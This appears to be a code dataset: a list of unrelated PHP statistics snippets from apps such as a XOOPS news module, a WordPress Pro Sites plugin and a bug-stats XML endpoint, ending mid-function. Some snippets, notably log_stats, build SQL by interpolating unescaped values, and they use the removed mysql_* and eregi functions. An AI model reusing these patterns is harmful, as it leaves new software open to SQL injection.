"public function stat()\n\t{\n\t\treturn csscrush_stat(\n\t\t\t$this->get_params('stat_name')\n\t\t);\n\t}",
"public function getDateFin();",
"public function campaignStatus() {\r\n $curtm = date('Y-m-d H:i:s');\r\n $todaydate = date(\"d/m/Y\", strtotime($curtm));\r\n }",
"public function __construct( $stats, $unit = '', $title = '' )\n\t{\n\t\t// Check $stats structure and get $value_total property\n\t\t$stats_validation = true;\n\t\t$value_total = 0;\n\t\treset($stats);\n\t\tforeach($stats as $name => $value)\n\t\t{\n\t\t\tif (!preg_match('~^([0-9]+)(\\.([0-9]+))?$~', $value))\n\t\t\t{\n\t\t\t\t$stats_validation = false;\n\t\t\t\techo '<p style=\"color:red;\">Error occured in <b>'.__CLASS__.'</b> class : invalid <i>$stats</i> parameter in '.__METHOD__.'.</p>';\n\t\t\t}\n\t\t\t$value_total += $value;\n\t\t}\n\n\t\t// Get $statistics property\n\t\tif ($stats_validation)\n\t\t{\n\t\t\t$this->value_total = $value_total;\n\n\t\t\t$percent_max = 0;\n\t\t\t$statistics = array();\n\t\t\t$i = 0;\n\t\t\treset($stats);\n\t\t\tforeach($stats as $name => $value)\n\t\t\t{\n\t\t\t\t$statistics[$i]['name' ] = $name;\n\t\t\t\t$statistics[$i]['value'] = $value;\n\n\t\t\t\tif ($this->value_total != 0)\n\t\t\t\t{\n\t\t\t\t\t$statistics[$i]['percent'] = sprintf('%.1f', $value/$this->value_total*100);\n\t\t\t\t} else {\n\t\t\t\t\t$statistics[$i]['percent'] = 0;\n\t\t\t\t}\n\n\t\t\t\tif ($statistics[$i]['percent'] > $percent_max)\n\t\t\t\t{\n\t\t\t\t\t$percent_max = $statistics[$i]['percent'];\n\t\t\t\t}\n\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$this->statistics = $statistics;\n\t\t\t$this->percent_max = $percent_max;\n\t\t}\n\n\t\t// Set others properties\n\t\t$this->unit = $unit;\n\t\t$this->title = $title;\n\t}",
"public function stat()\n\t{\n\t\treturn $this->hasOne('Stat');\n\t}",
"public function total () {\n return $this->since($this->iniTmstmp);\n }",
"function Stats()\n{\n global $xoopsModule, $xoopsConfig, $xoopsModuleConfig;\n xoops_cp_header();\n $myts =& MyTextSanitizer::getInstance();\n\tif (file_exists(XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php')) {\n\t\tinclude_once XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php';\n\t} else {\n\t\tinclude_once XOOPS_ROOT_PATH.'/modules/news/language/english/main.php';\n\t}\n adminmenu(6);\n $news = new NewsStory();\n $stats = array();\n $stats=$news->GetStats($xoopsModuleConfig['storycountadmin']);\n\t$totals=array(0,0,0,0,0);\n printf(\"<h1>%s</h1>\\n\",_AM_NEWS_STATS);\n\n // First part of the stats, everything about topics\n\t$storiespertopic=$stats['storiespertopic'];\n\t$readspertopic=$stats['readspertopic'];\n\t$filespertopic=$stats['filespertopic'];\n\t$expiredpertopic=$stats['expiredpertopic'];\n\t$authorspertopic=$stats['authorspertopic'];\n\t$class='';\n\n\techo \"<div style='text-align: center;'><b>\" . _AM_NEWS_STATS0 . \"</b><br />\\n\";\n\techo \"<table border='1' width='100%'><tr class='bg3'><td align='center'>\"._AM_TOPIC.\"</td><td align='center'>\" . _NW_ARTICLES . \"</td><td>\" . _NW_VIEWS . \"</td><td>\" . _AM_UPLOAD_ATTACHFILE . \"</td><td>\" . _AM_EXPARTS .\"</td><td>\" ._AM_NEWS_STATS1 .\"</td></tr>\";\n\tforeach ( $storiespertopic as $topicid => $data ) {\n\t\t$url=XOOPS_URL . \"/modules/\" . $xoopsModule -> dirname() . \"/index.php?storytopic=\" . $topicid;\n\t\t$views=0;\n\t\tif(array_key_exists($topicid,$readspertopic)) {\n\t\t\t$views=$readspertopic[$topicid];\n\t\t}\n\t\t$attachedfiles=0;\n\t\tif(array_key_exists($topicid,$filespertopic)) {\n\t\t\t$attachedfiles=$filespertopic[$topicid];\n\t\t}\n\t\t$expired=0;\n\t\tif(array_key_exists($topicid,$expiredpertopic)) {\n\t\t\t$expired=$expiredpertopic[$topicid];\n\t\t}\n\t\t$authors=0;\n\t\tif(array_key_exists($topicid,$authorspertopic)) {\n\t\t\t$authors=$authorspertopic[$topicid];\n\t\t}\n\t\t$articles=$data['cpt'];\n\n $totals[0]+=$articles;\n $totals[1]+=$views;\n $totals[2]+=$attachedfiles;\n $totals[3]+=$expired;\n $class = ($class == 'even') ? 'odd' : 'even';\n\t\tprintf(\"<tr class='\".$class.\"'><td align='left'><a href='%s' target ='_blank'>%s</a></td><td align='right'>%u</td><td align='right'>%u</td><td align='right'>%u</td><td align='right'>%u</td><td align='right'>%u</td></tr>\\n\",$url,$myts->displayTarea($data['topic_title']),$articles,$views,$attachedfiles,$expired,$authors);\n\t}\n\t$class = ($class == 'even') ? 'odd' : 'even';\n\tprintf(\"<tr class='\".$class.\"'><td align='center'><b>%s</b></td><td align='right'><b>%u</b></td><td align='right'><b>%u</b></td><td align='right'><b>%u</b></td><td align='right'><b>%u</b></td><td> </td>\\n\",_AM_NEWS_STATS2,$totals[0],$totals[1],$totals[2],$totals[3]);\n\techo \"</table></div><br /><br /><br />\";\n\n\t// Second part of the stats, everything about stories\n\t// a) Most readed articles\n\t$mostreadednews=$stats['mostreadednews'];\n\techo \"<div style='text-align: center;'><b>\" . _AM_NEWS_STATS3 . \"</b><br /><br />\" . _AM_NEWS_STATS4 . \"<br />\\n\";\n\techo \"<table border='1' width='100%'><tr class='bg3'><td align='center'>\"._AM_TOPIC.\"</td><td align='center'>\" . _AM_TITLE . \"</td><td>\" . _AM_POSTER . \"</td><td>\" . _NW_VIEWS . \"</td></tr>\\n\";\n\tforeach ( $mostreadednews as $storyid => $data ) {\n\t\t$url1=XOOPS_URL . \"/modules/\" . $xoopsModule -> dirname() . \"/index.php?storytopic=\" . $data['topicid'];\n\t\t$url2=XOOPS_URL . \"/modules/\" . $xoopsModule -> dirname() . \"/article.php?storyid=\" . $storyid;\n\t\t$url3=XOOPS_URL . '/userinfo.php?uid=' . $data['uid'];\n\t\t$class = ($class == 'even') ? 'odd' : 'even';\n\t\tprintf(\"<tr class='\".$class.\"'><td align='left'><a href='%s' target ='_blank'>%s</a></td><td align='left'><a href='%s' target='_blank'>%s</a></td><td><a href='%s' target='_blank'>%s</a></td><td align='right'>%u</td></tr>\\n\",$url1,$myts->displayTarea($data['topic_title']),$url2,$myts->displayTarea($data['title']),$url3,$myts->htmlSpecialChars($news->uname($data['uid'])),$data['counter']);\n\t}\n\techo \"</table>\";\n\n\t// b) Less readed articles\n\t$lessreadednews=$stats['lessreadednews'];\n\techo '<br /><br />'._AM_NEWS_STATS5;\n\techo \"<table border='1' width='100%'><tr class='bg3'><td align='center'>\"._AM_TOPIC.\"</td><td align='center'>\" . _AM_TITLE . \"</td><td>\" . _AM_POSTER . \"</td><td>\" . _NW_VIEWS . \"</td></tr>\\n\";\n\tforeach ( $lessreadednews as $storyid => $data ) {\n\t\t$url1=XOOPS_URL . \"/modules/\" . $xoopsModule -> dirname() . \"/index.php?storytopic=\" . $data['topicid'];\n\t\t$url2=XOOPS_URL . \"/modules/\" . $xoopsModule -> dirname() . \"/article.php?storyid=\" . $storyid;\n\t\t$url3=XOOPS_URL . '/userinfo.php?uid=' . $data['uid'];\n\t\t$class = ($class == 'even') ? 'odd' : 'even';\n\t\tprintf(\"<tr class='\".$class.\"'><td align='left'><a href='%s' target ='_blank'>%s</a></td><td align='left'><a href='%s' target='_blank'>%s</a></td><td><a href='%s' target='_blank'>%s</a></td><td align='right'>%u</td></tr>\\n\",$url1,$myts->displayTarea($data['topic_title']),$url2,$myts->displayTarea($data['title']),$url3,$myts->htmlSpecialChars($news->uname($data['uid'])),$data['counter']);\n\t}\n\techo \"</table>\";\n\n\t// c) Best rated articles (this is an average)\n\t$besratednews=$stats['besratednews'];\n\techo '<br /><br />'._AM_NEWS_STATS6;\n\techo \"<table border='1' width='100%'><tr class='bg3'><td align='center'>\"._AM_TOPIC.\"</td><td align='center'>\" . _AM_TITLE . \"</td><td>\" . _AM_POSTER . \"</td><td>\" . _NW_RATING . \"</td></tr>\\n\";\n\tforeach ( $besratednews as $storyid => $data ) {\n\t\t$url1=XOOPS_URL . \"/modules/\" . $xoopsModule -> dirname() . \"/index.php?storytopic=\" . $data['topicid'];\n\t\t$url2=XOOPS_URL . \"/modules/\" . $xoopsModule -> dirname() . \"/article.php?storyid=\" . $storyid;\n\t\t$url3=XOOPS_URL . '/userinfo.php?uid=' . $data['uid'];\n\t\t$class = ($class == 'even') ? 'odd' : 'even';\n\t\tprintf(\"<tr class='\".$class.\"'><td align='left'><a href='%s' target ='_blank'>%s</a></td><td align='left'><a href='%s' target='_blank'>%s</a></td><td><a href='%s' target='_blank'>%s</a></td><td align='right'>%s</td></tr>\\n\",$url1,$myts->displayTarea($data['topic_title']),$url2,$myts->displayTarea($data['title']),$url3,$myts->htmlSpecialChars($news->uname($data['uid'])),number_format($data['rating'], 2));\n\t}\n\techo \"</table></div><br /><br /><br />\";\n\n\n\t// Last part of the stats, everything about authors\n\t// a) Most readed authors\n\t$mostreadedauthors=$stats['mostreadedauthors'];\n\techo \"<div style='text-align: center;'><b>\" . _AM_NEWS_STATS10 . \"</b><br /><br />\" . _AM_NEWS_STATS7 . \"<br />\\n\";\n\techo \"<table border='1' width='100%'><tr class='bg3'><td>\"._AM_POSTER.\"</td><td>\" . _NW_VIEWS . \"</td></tr>\\n\";\n\tforeach ( $mostreadedauthors as $uid => $reads) {\n\t\t$url=XOOPS_URL . '/userinfo.php?uid=' . $uid;\n\t\t$class = ($class == 'even') ? 'odd' : 'even';\n\t\tprintf(\"<tr class='\".$class.\"'><td align='left'><a href='%s' target ='_blank'>%s</a></td><td align='right'>%u</td></tr>\\n\",$url,$myts->htmlSpecialChars($news->uname($uid)),$reads);\n\t}\n\techo \"</table>\";\n\n // b) Best rated authors\n\t$bestratedauthors=$stats['bestratedauthors'];\n\techo '<br /><br />'._AM_NEWS_STATS8;\n\techo \"<table border='1' width='100%'><tr class='bg3'><td>\"._AM_POSTER.\"</td><td>\" . _NW_RATING . \"</td></tr>\\n\";\n\tforeach ( $bestratedauthors as $uid => $rating) {\n\t\t$url=XOOPS_URL . '/userinfo.php?uid=' . $uid;\n\t\t$class = ($class == 'even') ? 'odd' : 'even';\n\t\tprintf(\"<tr class='\".$class.\"'><td align='left'><a href='%s' target ='_blank'>%s</a></td><td align='right'>%u</td></tr>\\n\",$url,$myts->htmlSpecialChars($news->uname($uid)),$rating);\n\t}\n\techo \"</table>\";\n\n\t// c) Biggest contributors\n\t$biggestcontributors=$stats['biggestcontributors'];\n\techo '<br /><br />'._AM_NEWS_STATS9;\n\techo \"<table border='1' width='100%'><tr class='bg3'><td>\"._AM_POSTER.\"</td><td>\" . _AM_NEWS_STATS11 . \"</td></tr>\\n\";\n\tforeach ( $biggestcontributors as $uid => $count) {\n\t\t$url=XOOPS_URL . '/userinfo.php?uid=' . $uid;\n\t\t$class = ($class == 'even') ? 'odd' : 'even';\n\t\tprintf(\"<tr class='\".$class.\"'><td align='left'><a href='%s' target ='_blank'>%s</a></td><td align='right'>%u</td></tr>\\n\",$url,$myts->htmlSpecialChars($news->uname($uid)),$count);\n\t}\n\techo \"</table></div><br />\";\n}",
"public function getLivreStat() {\n $requete = 'SELECT SUM(commande_ligne.qtx) AS nbLivre FROM commande\n JOIN commande_ligne ON commande_ligne.id_commande = commande.id_commande\n JOIN media_livre ON media_livre.id_media = commande_ligne.id_media\n WHERE year(CURRENT_DATE) = year(commande.date_commande)\n AND month(CURRENT_DATE - INTERVAL 1 MONTH) = month(commande.date_commande)';\n $pdoStat = PdoMedProjet::$conn->prepare($requete);\n $pdoStat->execute();\n return $pdoStat->fetch();\n }",
"public function getDateOccurred($stat_name)\n\t{\n\t\t$this->loadUniqueStatHistory();\n\t\treturn (!empty($this->stat_history[$stat_name])) ? $this->stat_history[$stat_name] : NULL;\n\t}",
"public function getDateUtilisateur()\n{\nif (!strcmp($this->dateUtilisateur, \"00/00/0000\"))\n\t$date = \"\";\nelse $date = $this->dateUtilisateur;\nreturn $date;\n}",
"public function getDate($i);",
"function outputStats(){\n if(preg_match(\"/^[0-9]{4}-[0-9]{2}-[0-9]{2}$/\", $_REQUEST[\"date\"]))\n $myDate = htmlentities(mysql_real_escape_string($_REQUEST[\"date\"]));\n else {\n print \"<stats/>\";\n exit;\n }\n\n printf(\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" ?><stats date=\\\"%s\\\">\\n\", $myDate);\n\n // different groups to sort by (layout, content, JS, Firefox, GFX, networking)\n // \"where\" clauses to use in the queries below\n $myGroups = array(\"Layout\" => \"d.product='Core' AND (d.component LIKE 'layout%' OR d.component LIKE 'printing%' OR d.component IN ('Style System (CSS)'))\", \n \"JavaScript\" => \"d.product='Tamarin' OR (d.product='Core' AND d.component LIKE 'javascript%')\",\n \"Content\" => \"d.product='Core' AND (d.component LIKE 'DOM%' OR d.component in ('Document Navigation','Editor','Embedding: Docshell','Event Handling','HTML: Form Submission','HTML: Parser','Java: OJI','Plug-ins','RDF','Security','Security: CAPS','Selection','Serializers','Spelling checker','String','SVG','Video/Audio','Web Services','XBL','XML','XPCOM','XPConnect','XSLT','XUL'))\",\n \"GFX\" => \"d.product='Core' AND (d.component LIKE 'GFX%' OR d.component LIKE 'widget%' OR d.component in ('ImageLib','MathML','Graphics'))\",\n \"Frontend\" => \"d.product='Firefox' OR d.product='Toolkit' OR (d.product='Core' AND (d.component in ('Security: UI')))\",\n \"Networking\" => \"d.product='Core' AND d.component like 'Networking%'\",\n \"Mail\" => \"d.product='MailNews Core' OR d.product='Thunderbird' OR (d.product='Core' AND (d.component like 'Mail%' OR d.component in ('Security: S/MIME')))\",\n );\n\n // take the inverse of the previous sets of bugs to generate the \"Other\" category\n $other = \"\";\n foreach ($myGroups as $group => $condition) {\n if ($condition == end($myGroups))\n $other .= \"NOT (\" . $condition . \")\";\n else\n $other .= \"NOT (\" . $condition . \") AND \";\n }\n $myGroups[\"Other\"] = $other;\n\n \n // different severities to display\n $mySeverities = array(\"sg_critical\", \"sg_high\", \"sg_moderate\", \"sg_low\");\n\n foreach($myGroups as $gName => $gClause){\n print \"<stat>\";\n // store total number of bugs for this group\n $groupBugs = 0;\n foreach($mySeverities as $s){\n // store the count of total bugs for this (group, severity) as well as\n // combined list of bugs and total age of bugs\n $bugCount = 0;\n $bugLists = array();\n $bugAgeDays = 0;\n\n $sql = sprintf(\"select d.did, s.category, d.product, d.component, d.count, d.bug_list, d.avg_age_days from Details d, Stats s where d.sid=s.sid and d.date like '%s%%' and (%s) and s.category='%s';\", $myDate, $gClause, $s);\n if($_GET[\"sql\"] == 1)\n printf(\"<sql>%s</sql>\", $sql);\n $result = mysql_query($sql);\n while($row = mysql_fetch_assoc($result)){\n $bugCount += $row[\"count\"];\n $groupBugs += $row[\"count\"];\n array_push($bugLists, $row[\"bug_list\"]);\n $bugAgeDays += $row[\"count\"]*$row[\"avg_age_days\"];\n }\n // output the stats for this (group, severity)\n if (count($bugLists) == 0)\n $avgAge = 0;\n else\n $avgAge = round($bugAgeDays/$bugCount);\n \n printf(\"<%s avg_age_days=\\\"%s\\\" bug_list=\\\"%s\\\">%s</%s>\", $s, $avgAge, implode(\",\", $bugLists), $bugCount, $s);\n }\n printf(\"<group total=\\\"%s\\\">%s</group>\", $groupBugs, $gName);\n print \"</stat>\";\n }\n \n print \"</stats>\\n\";\n}",
"function weekly_summary() {\r\n\t global $wpdb;\r\n\r\n $img_base = $this->plugin_url. 'images/';\r\n\r\n\t //count total\r\n $current_total = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE expire > '\" . time() . \"'\");\r\n\r\n\t $date = date(\"Y-m-d\", strtotime( \"-1 week\" ) );\r\n\t $last_total = $wpdb->get_var(\"SELECT supporter_count FROM {$wpdb->base_prefix}pro_sites_daily_stats WHERE date >= '$date' ORDER BY date ASC LIMIT 1\");\r\n\r\n\t if ($current_total > $last_total) {\r\n\t $active_diff = \"<img src='{$img_base}green-up.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n($current_total-$last_total) . \"</span>\";\r\n\t } else if ($current_total < $last_total) {\r\n\t $active_diff = \"<img src='{$img_base}red-down.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n(-($current_total-$last_total)) . \"</span>\";\r\n\t } else {\r\n\t $active_diff = \"<span style='font-size: 18px; font-family: arial;'>\" . __('no change', 'psts') . \"</span>\";\r\n\t }\r\n\r\n\t $text = sprintf(__('%s active Pro Sites %s since last week', 'psts'), \"<p><span style='font-size: 24px; font-family: arial;'>\" . number_format_i18n($current_total) . \"</span><span style='color: rgb(85, 85, 85);'>\", \"</span>$active_diff<span style='color: rgb(85, 85, 85);'>\") . \"</span></p>\";\r\n\r\n\t //activity stats\r\n\t $week_start = strtotime( \"-1 week\" );\r\n $week_start_date = date('Y-m-d', $week_start);\r\n\t $this_week['total_signups'] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites_signup_stats WHERE action = 'signup' AND time_stamp >= '$week_start_date'\");\r\n\t $this_week['upgrades'] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites_signup_stats WHERE action = 'upgrade' AND time_stamp >= '$week_start_date'\");\r\n\t $this_week['cancels'] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites_signup_stats WHERE action = 'cancel' AND time_stamp >= '$week_start_date'\");\r\n\r\n\t $week_end = $week_start;\r\n\t $week_start = strtotime( \"-1 week\", $week_start );\r\n $week_start_date = date('Y-m-d', $week_start);\r\n $week_end_date = date('Y-m-d', $week_end);\r\n\t $last_week['total_signups'] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites_signup_stats WHERE action = 'signup' AND time_stamp >= '$week_start_date' AND time_stamp < '$week_end_date'\");\r\n\t $last_week['upgrades'] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites_signup_stats WHERE action = 'upgrade' AND time_stamp >= '$week_start_date' AND time_stamp < '$week_end_date'\");\r\n\t $last_week['cancels'] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites_signup_stats WHERE action = 'cancel' AND time_stamp >= '$week_start_date' AND time_stamp < '$week_end_date'\");\r\n\r\n\t if ($this_week['total_signups'] > $last_week['total_signups']) {\r\n\t $diff = \"<img src='{$img_base}green-up.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n($this_week['total_signups']-$last_week['total_signups']) . \"</span>\";\r\n\t } else if ($this_week['total_signups'] < $last_week['total_signups']) {\r\n\t $diff = \"<img src='{$img_base}red-down.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n(-($this_week['total_signups']-$last_week['total_signups'])) . \"</span>\";\r\n\t } else {\r\n\t $diff = \"<span style='font-size: 18px; font-family: arial;'>\" . __('no change', 'psts') . \"</span>\";\r\n\t }\r\n\r\n $text .= sprintf(__('%s new signups this week %s compared to last week', 'psts'), \"\\n<p><span style='font-size: 24px; font-family: arial;'>\" . number_format_i18n($this_week['total_signups']) . \"</span><span style='color: rgb(85, 85, 85);'>\", \"</span>$diff<span style='color: rgb(85, 85, 85);'>\") . \"</span></p>\";\r\n\r\n\t if ($this_week['upgrades'] > $last_week['upgrades']) {\r\n\t $diff = \"<img src='{$img_base}green-up.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n($this_week['upgrades']-$last_week['upgrades']) . \"</span>\";\r\n\t } else if ($this_week['upgrades'] < $last_week['upgrades']) {\r\n\t $diff = \"<img src='{$img_base}red-down.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n(-($this_week['upgrades']-$last_week['upgrades'])) . \"</span>\";\r\n\t } else {\r\n\t $diff = \"<span style='font-size: 18px; font-family: arial;'>\" . __('no change', 'psts') . \"</span>\";\r\n\t }\r\n\r\n\t\t$text .= sprintf(__('%s upgrades this week %s compared to last week', 'psts'), \"\\n<p><span style='font-size: 24px; font-family: arial;'>\" . number_format_i18n($this_week['upgrades']) . \"</span><span style='color: rgb(85, 85, 85);'>\", \"</span>$diff<span style='color: rgb(85, 85, 85);'>\") . \"</span></p>\";\r\n\r\n\t if ($this_week['cancels'] > $last_week['cancels']) {\r\n\t $diff = \"<img src='{$img_base}red-up.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n($this_week['cancels']-$last_week['cancels']) . \"</span>\";\r\n\t } else if ($this_week['cancels'] < $last_week['cancels']) {\r\n\t $diff = \"<img src='{$img_base}green-down.gif'><span style='font-size: 18px; font-family: arial;'>\" . number_format_i18n(-($this_week['cancels']-$last_week['cancels'])) . \"</span>\";\r\n\t } else {\r\n\t $diff = \"<span style='font-size: 18px; font-family: arial;'>\" . __('no change', 'psts') . \"</span>\";\r\n\t }\r\n\r\n\t $text .= sprintf(__('%s cancelations this week %s compared to last week', 'psts'), \"\\n<p><span style='font-size: 24px; font-family: arial;'>\" . number_format_i18n($this_week['cancels']) . \"</span><span style='color: rgb(85, 85, 85);'>\", \"</span>$diff<span style='color: rgb(85, 85, 85);'>\") . \"</span></p>\";\r\n\r\n\t return $text;\r\n\t}",
"function ois_statistics() {\n ois_include_d3_scripts();\n \n\tois_section_title('Compare Skin Performance', 'Which which skins convert the best', '');\n\t\n\tglobal $wpdb;\n\t$table_name = $wpdb->prefix . 'optinskin';\n\t$sql = \"SELECT * FROM $table_name \" .\n\t// The data must come only from the last 30 days\n \"WHERE (ts > DATE_SUB(now(), INTERVAL 30 DAY));\";\n\t$rows = $wpdb->get_results($sql);\n\t$all_stats = array();\n\tif (!empty($rows)) {\n \tforeach ($rows as $row) {\n \t\t$new_stat = array(\n \t\t\t's' => $row->skin,\n \t\t\t'm' => $row->submission,\n \t\t);\n \t\tarray_push($all_stats, $new_stat);\n \t} // foreach\n\t} // if\n\t$skins = get_option('ois_skins');\n\t$stats_range = 10;\n\t$uri = explode('?', $_SERVER['REQUEST_URI']);\n\t$page_url = $uri[0] . '?page=ois-';\n\t\n\t$title_and_rate = array();\n?>\n\t<table class=\"widefat\">\n\t\t<thead>\n\t\t\t<th>Skin Name</th>\n\t\t\t<th>Impressions</th>\n\t\t\t<th>Submits</th>\n\t\t\t<th>Conversion Rate</th>\n\t\t</thead>\n\t<?php\n\tif (!empty($all_stats)) {\n\t\tforeach ($skins as $skin) {\n\t\t $skin_title = $skin['title'];\n\t\t\t\techo '<tr>';\n\t\t\t\techo '<th><a href=\"' . $page_url . $skin['id'] . '\" >' . $skin_title . '</a></th>';\n\t\t\t\t$impressions = array();\n\t\t\t\t$submits = array();\n\t\t\t\t\n\t\t\t\tforeach ($all_stats as $stats) {\n\t\t\t\t\tif (!empty($stats['s'])) {\n\t\t\t\t\t\tif ($stats['s'] == $skin['id']) {\n\t\t\t\t\t\t\tif (!empty($stats['m'])) {\n\t\t\t\t\t\t\t\tarray_push($submits, $stats);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tarray_push($impressions, $stats);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$num_imp = count($impressions);\n\t\t\t\t$num_sub = count($submits);\n\t\t\t\techo '<td>' . $num_imp . '</td>';\n\t\t\t\techo '<td>' . $num_sub . '</td>';\n\t\t\t\tif (count($impressions) != 0) {\n\t\t\t\t $rate = round(100 * $num_sub/$num_imp, 2);\n\t\t\t\t\techo '<td>' . $rate . '%</td>';\n\t\t\t\t} else {\n\t\t\t\t $rate = 0;\n\t\t\t\t\techo '<td>Unknown</td>';\n\t\t\t\t} // else\n\t\t\t\tif ($rate > 0) {\n \t\t\t\tarray_push($title_and_rate, array ( 'title' => $skin_title, 'rate' => $rate ));\n\t\t\t\t} // if\n\t\t\t\techo '</tr>';\n\t\t} // foreach\n\t} // if\n?>\n\t</table>\n\t\n\t<h3>Top Performing Skins by Conversion Rate</h3>\n\t<div id=\"skinsPie\"></div>\n\t\n\t<script type=\"text/javascript\">\n var w = 360, //width\n h = 380, //height\n r = 160, //radius\n //colors = d3.scale.category20c();\n color = d3.scale.category20c();\n\n honorsData = <?php echo json_encode($title_and_rate) ?>;\n var vis = d3.select(\"#skinsPie\")\n .append(\"svg:svg\")\n .data([honorsData])\n .attr(\"width\", w)\n .attr(\"height\", h)\n .append(\"svg:g\")\n .attr(\"transform\", \"translate(\" + r + \",\" + (r + 10) + \")\")\n var arc = d3.svg.arc()\n .outerRadius(r);\n var pie = d3.layout.pie()\n .value(function(d) {\n return d.rate;\n });\n var arcs = vis.selectAll(\"g.slice\")\n .data(pie)\n .enter()\n .append(\"svg:g\")\n .attr(\"class\", \"slice\");\n arcs.append(\"svg:path\")\n .attr(\"fill\", function(d, i) {\n return color(i);\n })\n .attr(\"d\", arc);\n arcs.append(\"svg:text\")\n .attr(\"transform\", function(d) {\n d.innerRadius = 0;\n d.outerRadius = r;\n return \"translate(\" + arc.centroid(d) + \")\";\n })\n .attr(\"text-anchor\", \"middle\")\n .attr(\"fill\", \"#fff\")\n .text(function(d, i) {\n return honorsData[i].title;\n });\n </script>\n\t<?php\n\tois_section_end();\n}",
"function log_stats($page_id)\n {\n global $app, $HTTP_USER_AGENT, $REMOTE_ADDR;\n\t\t$app[current_page] = $page_id;\n\t\t$year = date('Y');\n $hour = date('g a');\n $week = date('w');\n $month = date('F');\n\n\t\t## total hit \n $sql = \"select * from {$app[table][stats_hit]}\n where year = '$year'\";\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_hit]} \n set counter = counter + 1\n where year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_hit]} (counter, year) values(1,'$year')\";\n endif;\n db::qry($sql);\n \n ## by page\n $sql = \"select * from {$app[table][stats_page]}\n where page_id = '$page_id' and year = '$year'\";\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_page]} \n \tset counter = counter + 1\n\t\t\t\t\twhere page_id = '$page_id' and year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_page]} (page_id, counter, year) values('$page_id',1,'$year')\";\n endif;\n db::qry($sql);\n\t\n ## by browser\n if (eregi(\"Nav\", $HTTP_USER_AGENT) || eregi(\"Gold\", $HTTP_USER_AGENT) || eregi(\"X11\", $HTTP_USER_AGENT) || eregi(\"en-US\", $HTTP_USER_AGENT) || eregi(\"Netscape\", $HTTP_USER_AGENT) || eregi(\"Mozilla/4.74\", $HTTP_USER_AGENT)):\n $browser = \"Netscape\";\n elseif (eregi(\"Lynx\", $HTTP_USER_AGENT)): \n $browser = \"Lynx\";\n elseif (eregi(\"Opera\", $HTTP_USER_AGENT)): \n $browser = \"Opera\";\n elseif (eregi(\"Konqueror\", $HTTP_USER_AGENT)): \n $browser = \"Konqueror\";\n elseif (eregi(\"Bot\", $HTTP_USER_AGENT) || eregi(\"Google\", $HTTP_USER_AGENT) || eregi(\"Slurp\", $HTTP_USER_AGENT) || eregi(\"Scooter\", $HTTP_USER_AGENT) || eregi(\"Spider\", $HTTP_USER_AGENT) || eregi(\"Infoseek\", $HTTP_USER_AGENT)):\n $browser = \"Bot\";\n elseif (eregi(\"MSIE\", $HTTP_USER_AGENT)):\n $browser = \"MSIE\";\n else:\n $browser = \"Other\";\n endif;\n \n $sql = \"select * from {$app[table][stats_browser]}\n where browser = '$browser' and year = '$year'\";\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_browser]} \n set counter = counter + 1\n where browser = '$browser' and year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_browser]} (browser, counter, year) values('$browser',1,'$year')\";\n endif; \n db::qry($sql); \n\t\n ## by OS\n if (eregi(\"Win\", $HTTP_USER_AGENT)):\n $os = \"Windows\";\n elseif (eregi(\"Mac\", $HTTP_USER_AGENT)): \n $os = \"Mac\";\n elseif (eregi(\"PPC\", $HTTP_USER_AGENT)): \n $os = \"Mac\";\n elseif (eregi(\"Linux\", $HTTP_USER_AGENT)): \n $os = \"Linux\";\n elseif (eregi(\"FreeBSD\", $HTTP_USER_AGENT)): \n $os = \"FreeBSD\";\n elseif (eregi(\"SunOS\", $HTTP_USER_AGENT)):\n $os = \"SunOS\";\n elseif (eregi(\"IRIX\", $HTTP_USER_AGENT)):\n $os = \"IRIX\";\n elseif (eregi(\"BeOS\", $HTTP_USER_AGENT)):\n $os = \"BeOS\";\n elseif (eregi(\"OS/2\", $HTTP_USER_AGENT)):\n $os = \"OS2\";\n elseif (eregi(\"AIX\", $HTTP_USER_AGENT)):\n $os = \"AIX\";\n else:\n $os = \"Other\";\n endif;\n \n $sql = \"select * from {$app[table][stats_os]}\n where os = '$os' and year = '$year'\";\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_os]} \n set counter = counter + 1\n where os = '$os' and year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_os]} (os, counter, year) values('$os',1,'$year')\";\n endif;\n\t\tdb::qry($sql);\n\t\n\t\t## by hour\n\t\t$sql = \"select * from {$app[table][stats_hour]}\n where jam = '$hour' and year = '$year'\";\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_hour]} \n set counter = counter + 1\n where jam = '$hour' and year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_hour]} (jam, counter, year) values('$hour',1,'$year')\";\n endif;\n\t\tdb::qry($sql);\n\t\t\n\t\t## by weekday\n\t\t$sql = 